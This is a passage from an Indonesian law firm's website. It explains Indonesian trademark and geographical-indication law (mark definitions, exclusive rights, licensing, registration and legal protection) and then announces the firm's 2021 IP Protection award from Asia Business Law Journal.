digunakan pada barang yang diperdagangkan oleh seseorang atau beberapa orang secara bersama-sama atau badan hukum untuk membedakan dengan barang-barang sejenis lainnya. Sedangkan Merek Jasa adalah Merek yang digunakan pada jasa yang diperdagangkan oleh seseorang atau beberapa orang secara bersama-sama atau badan hukum untuk membedakan dengan jasa-jasa sejenis lainnya. Hak Merek adalah hak ekslusif yang diberikan oleh Negara kepada pemilik Merek untuk jangka waktu tertentu dengan menggunakan sendiri Merek tersebut atau memberikan izin kepada pihak lain untuk menggunakannya. Yang dimaksud dengan hak ekslusif adalah sutau hak yang hanya diberikan pada Pemegang suatu hak in casu Merek dalam jangka waktu tertentu untuk melaksanakan sendiri secara komersil atau memberikan hak lebih lanjut untuk itu kepada pihak lainnya. Pada prakteknya, izin lisensi yang dituangkan dalam suatu perjanjian lisensi Merek memiliki dua pilihan sifat, yaitu perjanjian lisensi Merek eksklusif dan perjanjian Merek non-eksklusif. Dilihat dari fungsi ekonominya, Merek digunakan untuk membedekan barang atau jasa satu perusahaan dengan barang atau jasa perusahaan lain yang sejenis. Dengan demikian, Merek adalah tanda pengenal asal barang dan jasa, sekaligus mempunyai fungsi menghubungkan barang dan jasa yang bersangkutan dengan produsennya. Oleh sebab itu menggambarkan jaminan kepribadian (individuality) dan reputasi barang dan jasa hasil usahanya sewaktu diperdagangkan. Suatu Merek dan Indikasi Geografis mendapat perlindungan hukum, apabila Merek dan Indikasi Geografis tersebut telah didaftar oleh Mentri Hukum & Hak Asasi Manusia (terdaftar di Dirjen KI). Apabila Merek dan Indikasi Geografis telah mendapatkan nomor pendaftaran dan sertifikat, maka Merek dan Indikasi geografis tersebut mendapat perlindungan hukum, baik secara perdata maupun pidana. Tindak pidana yang dirumuskan dalam Undang-undang Merek dan Indikasi Geografis pada dasarnya adalah suatu perlindungan hukum terhadap kepentingan hukum mengenai kepemilikan dan penggunaan Merek dan Indikasi Geografis oleh pemiliknya atau pemegang Hak Merek dan Indikasi Geografis.

AFFA Recognized in the Asia Business Law Journal: Indonesia Law Firm Awards 2021

Our firm has received a rather flattering award by the Asia Business Law Journal, the definitive guide to Asia’s leading law firms and lawyers, as the winning firm in the IP Protection category in Indonesia. This is a testament to our desire to keep improving and to give the best solutions to our clients around the world. The list can be seen below:   The full list can be viewed at https://law.asia/indonesia-law-firm-awards-2021/.   For further information when it comes to IP protection in Indonesia, please do not hesitate to contact us at [email protected]; [email protected].

Privacy Preference Center